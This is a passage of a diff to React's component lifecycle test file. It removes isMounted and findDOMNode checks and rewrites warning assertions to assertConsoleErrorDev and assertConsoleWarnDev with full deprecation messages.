-        expect(this._isMounted()).toBeTruthy();
-      }
-      render() {
-        expect(this._isMounted()).toBeFalsy();
-        return null;
-      }
-    }
-
-    let instance;
-    const element = <Component ref={current => (instance = current)} />;
-
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(element);
-      });
-    }).toErrorDev('Component is accessing isMounted inside its render()');
-    expect(instance._isMounted()).toBeTruthy();
-  });
-
-  it('isMounted should return false when unmounted', async () => {
-    class Component extends React.Component {
-      render() {
-        return <div />;
-      }
-    }
-
-    const root = ReactDOMClient.createRoot(document.createElement('div'));
-    const instanceRef = React.createRef();
-    await act(() => {
-      root.render(<Component ref={instanceRef} />);
-    });
-    const instance = instanceRef.current;
-
-    // No longer a public API, but we can test that it works internally by
-    // reaching into the updater.
-    expect(instance.updater.isMounted(instance)).toBe(true);
-
-    await act(() => {
-      root.unmount();
-    });
-
-    expect(instance.updater.isMounted(instance)).toBe(false);
-  });
-
-  // @gate www && classic
-  it('warns if legacy findDOMNode is used inside render', async () => {
-    class Component extends React.Component {
-      state = {isMounted: false};
-      componentDidMount() {
-        this.setState({isMounted: true});
-      }
-      render() {
-        if (this.state.isMounted) {
-          expect(ReactDOM.findDOMNode(this).tagName).toBe('DIV');
-        }
-        return <div />;
-      }
-    }
-
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Component />);
-      });
-    }).toErrorDev('Component is accessing findDOMNode inside its render()');
-  });
-
   it('should carry through each of the phases of setup', async () => {
     class LifeCycleComponent extends React.Component {
       constructor(props, context) {
@@ -409,20 +282,16 @@ describe('ReactComponentLifeCycle', () => {
           hasWillUnmountCompleted: false,
         };
         this._testJournal.returnedFromGetInitialState = clone(initState);
-        this._testJournal.lifeCycleAtStartOfGetInitialState =
-          getLifeCycleState(this);
         this.state = initState;
       }
 
       UNSAFE_componentWillMount() {
         this._testJournal.stateAtStartOfWillMount = clone(this.state);
-        this._testJournal.lifeCycleAtStartOfWillMount = getLifeCycleState(this);
         this.state.hasWillMountCompleted = true;
       }
 
       componentDidMount() {
         this._testJournal.stateAtStartOfDidMount = clone(this.state);
-        this._testJournal.lifeCycleAtStartOfDidMount = getLifeCycleState(this);
         this.setState({hasDidMountCompleted: true});
       }
 
@@ -430,10 +299,8 @@ describe('ReactComponentLifeCycle', () => {
         const isInitialRender = !this.state.hasRenderCompleted;
         if (isInitialRender) {
           this._testJournal.stateInInitialRender = clone(this.state);
-          this._testJournal.lifeCycleInInitialRender = getLifeCycleState(this);
         } else {
           this._testJournal.stateInLaterRender = clone(this.state);
-          this._testJournal.lifeCycleInLaterRender = getLifeCycleState(this);
         }
         // you would *NEVER* do anything like this in real code!
         this.state.hasRenderCompleted = true;
@@ -442,8 +309,6 @@ describe('ReactComponentLifeCycle', () => {
 
       componentWillUnmount() {
         this._testJournal.stateAtStartOfWillUnmount = clone(this.state);
-        this._testJournal.lifeCycleAtStartOfWillUnmount =
-          getLifeCycleState(this);
         this.state.hasWillUnmountCompleted = true;
       }
     }
@@ -453,51 +318,36 @@ describe('ReactComponentLifeCycle', () => {
     const root = ReactDOMClient.createRoot(document.createElement('div'));
 
     const instanceRef = React.createRef();
-    await expect(async () => {
-      await act(() => {
-        root.render(<LifeCycleComponent ref={instanceRef} />);
-      });
-    }).toErrorDev(
-      'LifeCycleComponent is accessing isMounted inside its render() function',
-    );
+    await act(() => {
+      root.render(<LifeCycleComponent ref={instanceRef} />);
+    });
     const instance = instanceRef.current;
 
     // getInitialState
     expect(instance._testJournal.returnedFromGetInitialState).toEqual(
       GET_INIT_STATE_RETURN_VAL,
     );
-    expect(instance._testJournal.lifeCycleAtStartOfGetInitialState).toBe(
-      'UNMOUNTED',
-    );
 
     // componentWillMount
     expect(instance._testJournal.stateAtStartOfWillMount).toEqual(
       instance._testJournal.returnedFromGetInitialState,
     );
-    expect(instance._testJournal.lifeCycleAtStartOfWillMount).toBe('UNMOUNTED');
 
     // componentDidMount
     expect(instance._testJournal.stateAtStartOfDidMount).toEqual(
       DID_MOUNT_STATE,
     );
-    expect(instance._testJournal.lifeCycleAtStartOfDidMount).toBe('MOUNTED');
 
     // initial render
     expect(instance._testJournal.stateInInitialRender).toEqual(
       INIT_RENDER_STATE,
     );
-    expect(instance._testJournal.lifeCycleInInitialRender).toBe('UNMOUNTED');
-
-    expect(getLifeCycleState(instance)).toBe('MOUNTED');
 
     // Now *update the component*
     instance.forceUpdate();
 
     // render 2nd time
     expect(instance._testJournal.stateInLaterRender).toEqual(NEXT_RENDER_STATE);
-    expect(instance._testJournal.lifeCycleInLaterRender).toBe('MOUNTED');
-
-    expect(getLifeCycleState(instance)).toBe('MOUNTED');
 
     await act(() => {
       root.unmount();
@@ -507,10 +357,8 @@ describe('ReactComponentLifeCycle', () => {
       WILL_UNMOUNT_STATE,
     );
     // componentWillUnmount called right before unmount.
-    expect(instance._testJournal.lifeCycleAtStartOfWillUnmount).toBe('MOUNTED');
 
     // But the current lifecycle of the component is unmounted.
-    expect(getLifeCycleState(instance)).toBe('UNMOUNTED');
     expect(instance.state).toEqual(POST_WILL_UNMOUNT_STATE);
   });
 
@@ -781,22 +629,45 @@ describe('ReactComponentLifeCycle', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<Component />);
-        });
-      }).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.',
-      );
-    }).toWarnDev(
-      [
-        'componentWillMount has been renamed',
-        'componentWillReceiveProps has been renamed',
-        'componentWillUpdate has been renamed',
-      ],
-      {withoutStack: true},
-    );
+    await act(() => {
+      root.render(<Component />);
+    });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
+        '  componentWillMount\n' +
+        '  componentWillReceiveProps\n' +
+        '  componentWillUpdate\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in Component (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: Component',
+      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        "* If you're updating state whenever props change, refactor your code to use " +
+        'memoization techniques or move it to static getDerivedStateFromProps. ' +
+        'Learn more at: https://react.dev/link/derived-state\n' +
+        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: Component',
+      'componentWillUpdate has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: Component',
+    ]);
   });
 
   it('should not invoke deprecated lifecycles (cWM/cWRP/cWU) if new getSnapshotBeforeUpdate is present', async () => {
@@ -821,23 +692,45 @@ describe('ReactComponentLifeCycle', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await expect(
-        async () =>
-          await act(() => {
-            root.render(<Component value={1} />);
-          }),
-      ).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.',
-      );
-    }).toWarnDev(
-      [
-        'componentWillMount has been renamed',
-        'componentWillReceiveProps has been renamed',
-        'componentWillUpdate has been renamed',
-      ],
-      {withoutStack: true},
-    );
+    await act(() => {
+      root.render(<Component value={1} />);
+    });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'Component uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
+        '  componentWillMount\n' +
+        '  componentWillReceiveProps\n' +
+        '  componentWillUpdate\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in Component (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: Component',
+      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        "* If you're updating state whenever props change, refactor your code to use " +
+        'memoization techniques or move it to static getDerivedStateFromProps. ' +
+        'Learn more at: https://react.dev/link/derived-state\n' +
+        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: Component',
+      'componentWillUpdate has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: Component',
+    ]);
 
     await act(() => {
       root.render(<Component value={2} />);
@@ -865,14 +758,19 @@ describe('ReactComponentLifeCycle', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(
-      async () =>
-        await act(() => {
-          root.render(<Component value={1} />);
-        }),
-    ).toErrorDev(
-      'Unsafe legacy lifecycles will not be called for components using new component APIs.',
-    );
+    await act(() => {
+      root.render(<Component value={1} />);
+    });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
+        '  UNSAFE_componentWillMount\n' +
+        '  UNSAFE_componentWillReceiveProps\n' +
+        '  UNSAFE_componentWillUpdate\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in Component (at **)',
+    ]);
     await act(() => {
       root.render(<Component value={2} />);
     });
@@ -893,27 +791,35 @@ describe('ReactComponentLifeCycle', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<AllLegacyLifecycles />);
-        });
-      }).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
-          'AllLegacyLifecycles uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
-          '  componentWillMount\n' +
-          '  UNSAFE_componentWillReceiveProps\n' +
-          '  componentWillUpdate\n\n' +
-          'The above lifecycles should be removed. Learn more about this warning here:\n' +
-          'https://react.dev/link/unsafe-component-lifecycles',
-      );
-    }).toWarnDev(
-      [
-        'componentWillMount has been renamed',
-        'componentWillUpdate has been renamed',
-      ],
-      {withoutStack: true},
-    );
+    await act(() => {
+      root.render(<AllLegacyLifecycles />);
+    });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'AllLegacyLifecycles uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
+        '  componentWillMount\n' +
+        '  UNSAFE_componentWillReceiveProps\n' +
+        '  componentWillUpdate\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in AllLegacyLifecycles (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: AllLegacyLifecycles',
+      'componentWillUpdate has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: AllLegacyLifecycles',
+    ]);
 
     class WillMount extends React.Component {
       state = {};
@@ -926,17 +832,17 @@ describe('ReactComponentLifeCycle', () => {
       }
     }
 
-    await expect(async () => {
-      await act(() => {
-        root.render(<WillMount />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<WillMount />);
+    });
+    assertConsoleErrorDev([
       'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
         'WillMount uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
         '  UNSAFE_componentWillMount\n\n' +
         'The above lifecycles should be removed. Learn more about this warning here:\n' +
-        'https://react.dev/link/unsafe-component-lifecycles',
-    );
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in WillMount (at **)',
+    ]);
 
     class WillMountAndUpdate extends React.Component {
       state = {};
@@ -950,23 +856,27 @@ describe('ReactComponentLifeCycle', () => {
       }
     }
 
-    await expect(async () => {
-      await expect(
-        async () =>
-          await act(() => {
-            root.render(<WillMountAndUpdate />);
-          }),
-      ).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
-          'WillMountAndUpdate uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
-          '  componentWillMount\n' +
-          '  UNSAFE_componentWillUpdate\n\n' +
-          'The above lifecycles should be removed. Learn more about this warning here:\n' +
-          'https://react.dev/link/unsafe-component-lifecycles',
-      );
-    }).toWarnDev(['componentWillMount has been renamed'], {
-      withoutStack: true,
+    await act(() => {
+      root.render(<WillMountAndUpdate />);
     });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'WillMountAndUpdate uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
+        '  componentWillMount\n' +
+        '  UNSAFE_componentWillUpdate\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in WillMountAndUpdate (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: WillMountAndUpdate',
+    ]);
 
     class WillReceiveProps extends React.Component {
       state = {};
@@ -979,21 +889,29 @@ describe('ReactComponentLifeCycle', () => {
       }
     }
 
-    await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<WillReceiveProps />);
-        });
-      }).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
-          'WillReceiveProps uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
-          '  componentWillReceiveProps\n\n' +
-          'The above lifecycles should be removed. Learn more about this warning here:\n' +
-          'https://react.dev/link/unsafe-component-lifecycles',
-      );
-    }).toWarnDev(['componentWillReceiveProps has been renamed'], {
-      withoutStack: true,
+    await act(() => {
+      root.render(<WillReceiveProps />);
     });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'WillReceiveProps uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\n' +
+        '  componentWillReceiveProps\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in WillReceiveProps (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        "* If you're updating state whenever props change, refactor your code to use " +
+        'memoization techniques or move it to static getDerivedStateFromProps. ' +
+        'Learn more at: https://react.dev/link/derived-state\n' +
+        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: WillReceiveProps',
+    ]);
   });
 
   it('should warn about deprecated lifecycles (cWM/cWRP/cWU) if new getSnapshotBeforeUpdate is present', async () => {
@@ -1010,27 +928,35 @@ describe('ReactComponentLifeCycle', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<AllLegacyLifecycles />);
-        });
-      }).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
-          'AllLegacyLifecycles uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
-          '  componentWillMount\n' +
-          '  UNSAFE_componentWillReceiveProps\n' +
-          '  componentWillUpdate\n\n' +
-          'The above lifecycles should be removed. Learn more about this warning here:\n' +
-          'https://react.dev/link/unsafe-component-lifecycles',
-      );
-    }).toWarnDev(
-      [
-        'componentWillMount has been renamed',
-        'componentWillUpdate has been renamed',
-      ],
-      {withoutStack: true},
-    );
+    await act(() => {
+      root.render(<AllLegacyLifecycles />);
+    });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'AllLegacyLifecycles uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
+        '  componentWillMount\n' +
+        '  UNSAFE_componentWillReceiveProps\n' +
+        '  componentWillUpdate\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in AllLegacyLifecycles (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: AllLegacyLifecycles',
+      'componentWillUpdate has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: AllLegacyLifecycles',
+    ]);
 
     class WillMount extends React.Component {
       state = {};
@@ -1042,17 +968,17 @@ describe('ReactComponentLifeCycle', () => {
       }
     }
 
-    await expect(async () => {
-      await act(() => {
-        root.render(<WillMount />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<WillMount />);
+    });
+    assertConsoleErrorDev([
       'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
         'WillMount uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
         '  UNSAFE_componentWillMount\n\n' +
         'The above lifecycles should be removed. Learn more about this warning here:\n' +
-        'https://react.dev/link/unsafe-component-lifecycles',
-    );
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in WillMount (at **)',
+    ]);
 
     class WillMountAndUpdate extends React.Component {
       state = {};
@@ -1065,22 +991,27 @@ describe('ReactComponentLifeCycle', () => {
       }
     }
 
-    await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<WillMountAndUpdate />);
-        });
-      }).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
-          'WillMountAndUpdate uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
-          '  componentWillMount\n' +
-          '  UNSAFE_componentWillUpdate\n\n' +
-          'The above lifecycles should be removed. Learn more about this warning here:\n' +
-          'https://react.dev/link/unsafe-component-lifecycles',
-      );
-    }).toWarnDev(['componentWillMount has been renamed'], {
-      withoutStack: true,
+    await act(() => {
+      root.render(<WillMountAndUpdate />);
     });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'WillMountAndUpdate uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
+        '  componentWillMount\n' +
+        '  UNSAFE_componentWillUpdate\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in WillMountAndUpdate (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: WillMountAndUpdate',
+    ]);
 
     class WillReceiveProps extends React.Component {
       state = {};
@@ -1092,22 +1023,29 @@ describe('ReactComponentLifeCycle', () => {
       }
     }
 
-    await expect(async () => {
-      await expect(
-        async () =>
-          await act(() => {
-            root.render(<WillReceiveProps />);
-          }),
-      ).toErrorDev(
-        'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
-          'WillReceiveProps uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
-          '  componentWillReceiveProps\n\n' +
-          'The above lifecycles should be removed. Learn more about this warning here:\n' +
-          'https://react.dev/link/unsafe-component-lifecycles',
-      );
-    }).toWarnDev(['componentWillReceiveProps has been renamed'], {
-      withoutStack: true,
+    await act(() => {
+      root.render(<WillReceiveProps />);
     });
+    assertConsoleErrorDev([
+      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
+        'WillReceiveProps uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\n' +
+        '  componentWillReceiveProps\n\n' +
+        'The above lifecycles should be removed. Learn more about this warning here:\n' +
+        'https://react.dev/link/unsafe-component-lifecycles\n' +
+        '    in WillReceiveProps (at **)',
+    ]);
+    assertConsoleWarnDev([
+      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        "* If you're updating state whenever props change, refactor your code to use " +
+        'memoization techniques or move it to static getDerivedStateFromProps. ' +
+        'Learn more at: https://react.dev/link/derived-state\n' +
+        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: WillReceiveProps',
+    ]);
   });
 
   it('should warn if getDerivedStateFromProps returns undefined', async () => {
@@ -1120,14 +1058,14 @@ describe('ReactComponentLifeCycle', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await act(() => {
-        root.render(<MyComponent />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<MyComponent />);
+    });
+    assertConsoleErrorDev([
       'MyComponent.getDerivedStateFromProps(): A valid state object (or null) must ' +
-        'be returned. You have returned undefined.',
-    );
+        'be returned. You have returned undefined.\n' +
+        '    in MyComponent (at **)',
+    ]);
 
     // De-duped
     await act(() => {
@@ -1146,16 +1084,16 @@ describe('ReactComponentLifeCycle', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await act(() => {
-        root.render(<MyComponent />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<MyComponent />);
+    });
+    assertConsoleErrorDev([
       '`MyComponent` uses `getDerivedStateFromProps` but its initial state is ' +
         'undefined. This is not recommended. Instead, define the initial state by ' +
         'assigning an object to `this.state` in the constructor of `MyComponent`. ' +
-        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.',
-    );
+        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\n' +
+        '    in MyComponent (at **)',
+    ]);
 
     // De-duped
     await act(() => {
@@ -1191,18 +1129,35 @@ describe('ReactComponentLifeCycle', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await act(() => {
-        root.render(<MyComponent foo="bar" />);
-      });
-    }).toWarnDev(
-      [
-        'componentWillMount has been renamed',
-        'componentWillReceiveProps has been renamed',
-        'componentWillUpdate has been renamed',
-      ],
-      {withoutStack: true},
-    );
+    await act(() => {
+      root.render(<MyComponent foo="bar" />);
+    });
+    assertConsoleWarnDev([
+      'componentWillMount has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n' +
+        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: MyComponent',
+      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        "* If you're updating state whenever props change, refactor your code to use " +
+        'memoization techniques or move it to static getDerivedStateFromProps. ' +
+        'Learn more at: https://react.dev/link/derived-state\n' +
+        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: MyComponent',
+      'componentWillUpdate has been renamed, and is not recommended for use. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +
+        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +
+        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\n\n' +
+        'Please update the following components: MyComponent',
+    ]);
     expect(log).toEqual(['componentWillMount', 'UNSAFE_componentWillMount']);
 
     log.length = 0;
@@ -1444,14 +1399,14 @@ describe('ReactComponentLifeCycle', () => {
       root.render(<MyComponent value="foo" />);
     });
 
-    await expect(async () => {
-      await act(() => {
-        root.render(<MyComponent value="bar" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<MyComponent value="bar" />);
+    });
+    assertConsoleErrorDev([
       'MyComponent.getSnapshotBeforeUpdate(): A snapshot value (or null) must ' +
-        'be returned. You have returned undefined.',
-    );
+        'be returned. You have returned undefined.\n' +
+        '    in MyComponent (at **)',
+    ]);
 
     // De-duped
     await act(() => {
@@ -1470,14 +1425,14 @@ describe('ReactComponentLifeCycle', () => {
     }
 
